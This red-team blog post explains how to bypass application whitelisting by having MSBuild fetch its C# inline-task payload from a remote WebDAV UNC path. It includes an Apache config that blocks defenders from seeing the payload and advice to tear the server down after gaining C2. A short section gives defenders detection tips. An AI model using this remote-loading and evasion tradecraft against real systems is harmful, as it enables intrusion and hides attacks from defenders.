27 April 2020

tl;dr Separate your C# payload from a MSBuild XML file and host it remotely on a WebDav server.

Red teams and attackers frequently repurpose MSBuild, a Microsoft-signed binary, to bypass application whitelisting defenses. There are many, many, many blog posts on the topic (originally discovered by Casey Smith). We've used this bypass on most internal pen tests and red team engagements over the last few years and are always looking for ways to improve it.

In February 2020, Cisco Talos blogged about MSBuild use in the wild. One sentence in particular caught our attention (highlighted below).

The Source code can be specified as an external file on a drive.

Interesting. The current approach we typically take with MSBuild is to create an XML file with an inline task containing our C# payload. But, Talos has seen attackers host their source code in an external file on a drive. We investigated.

Our Typical MSBuild Approach

We create an inline task that includes our C# payload. In the example below, we're simply starting the calculator application using System.Diagnostics.Process.Start(). Nothing new here.

Separating the C# Payload from our XML file

We reviewed MSDN's official MSBuild documentation for Inline tasks and found this gem:

Alternatively, you can use the Source attribute of the Code element to specify the location of a file that contains the code for your task.

It looks like specifying a "source" attribute in the <Code> block will allow us to separate the C# code. We first attempted to host the code locally on our machine and it worked!

We modified our originally XML file in two ways:

1. We removed the C# source code and saved it into a file called "calc.cs".
2. We updated the <Code> tag to reference our calc.cs file as the code source.

<Code Type="Class" Language="cs" Source="calc.cs">

Locally hosting our code is pretty awesome, but what about remotely?

WebDav

If you've never spun up a WebDAV server, we highly recommend reading this post by BlackHills.

We created a WebDAV server (using Apache2) and hosted our C# source code on it. Like before, we created a file called "calc.cs" that contained C# to open the calculator application.

Next, we changed the Source attribute value to our WebDAV server's UNC path.

<Code Type="Class" Language="cs" Source="\\204.<>.<>.236\webdav\calc.cs">

It took MSBuild a little longer to execute, but it worked!

What this means (for red teams)

Once we determined we could remotely host our C# payload, a few thoughts came to mind:

1. If a defender finds your malicious XML file, your C# payload won't be there in cleartext for them to review.
2. Incorporating MSBuild into macros is even easier now. Just write out the minimal boilerplate XML to a file on disk and execute the MSBuild bypass.
3. Have remote code execution on a windows box? Write out the minimal boilerplate XML to a file on disk and execute the MSBuild bypass.
4. Tear down your WebDAV server as soon as you get C2 on your target. Defenders won't be able to review your C# code.
5. Implement mod_rewrite rules to only allow WebDAV requests from MSBuild (more below).

What this means (for defenders)

1. Continue to be suspicious about MSBuild running on a non-developer workstation.
2. If you review a MSBuild XML file and the only entry is an inline task referencing source code hosted externally, investigate thoroughly.
3. If you can't review the source code referenced in an MSBuild XML file, consider changing your User-Agent to "Microsoft-WebDAV-MiniRedir" or browsing the server in File Explorer (more below).

Mod_Rewrite Rules

When MSBuild reaches out to your WebDAV server, the access logs will look similar to this:

For each request, the User-Agent header contains "Microsoft-WebDAV-MiniRedir". One of the opsec tools we discuss in our Intrusion Operations course is Apache's Mod_Rewrite rules. Although a very basic defensive measure, we can block novice defenders (and bots) from accessing our C# code by restricting access to User-Agent headers containing "Microsoft-WebDAV-MiniRedir". Here's an example of what we could put in our Apache2 configuration file.

SetEnvIfNoCase User-Agent "^(?!Microsoft-WebDAV-MiniRedir).*" goaway
<Location "/webdav/">
	<RequireAll>
			Require all granted
			Require not env goaway
	</RequireAll>
</Location>

Defenders can still access our C# source code by changing their User-Agent header to contain "Microsoft-WebDAV-MiniRedir"or by browsing our UNC path in File Explorer (since it browses with the same User-Agent as MSBuild).

Overall

We see this as an incremental gain for bypassing app whitelisting using MSBuild. More than anything, this helps cover our tracks from an operational security perspective. Next time you're thinking about running an msbuild bypass using inline tasks, consider hosting your C# payload on a remote WebDav server.

For other blog posts like this one, check out our website and don't hesitate to contact us with any questions or feedback.

Blog post by: Joe Leon